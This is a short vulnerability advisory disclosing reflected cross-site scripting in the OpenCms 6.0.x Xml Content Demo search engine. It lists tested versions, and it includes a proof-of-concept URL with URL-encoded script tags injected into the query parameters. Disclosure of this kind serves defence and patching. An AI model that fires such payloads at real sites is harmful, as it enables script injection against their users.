OpenCms version 6.0.x Xml Content Demo search engine Cross site scripting

Version: Tested on:
- 6.0.0
- 6.0.2
- 6.0.3

Discovered by: jaime.blasco(at)eazel(dot).es
http://www.eazel.es

Description:
Input passed to the search query in the Xml Content Demo search engine isn't properly sanitised. This can be
exploited to conduct cross-site scripting attacks.
Example:

http://host/opencms/opencms/system/modules/org.opencms.frontend.templateone/pages/search.html?action=search&query=%22%3E%3Cscript%3Ealert%28'www.eazel.es'%29%3C%2Fscript%3E%3C!-&index=Online+project+%28VFS%29&page=1&uri=%2Fxmlcontentdemo%2Fside_element_demo.html&__locale=en&query2=%3Cscript%3Ealert%28a%29%3C%2Fscript%3E

Original advisory:
http://www.eazel.es/media/advisory002-OpenCms-Xml-Content-Demo-search-engine-Cross-site-scripting.html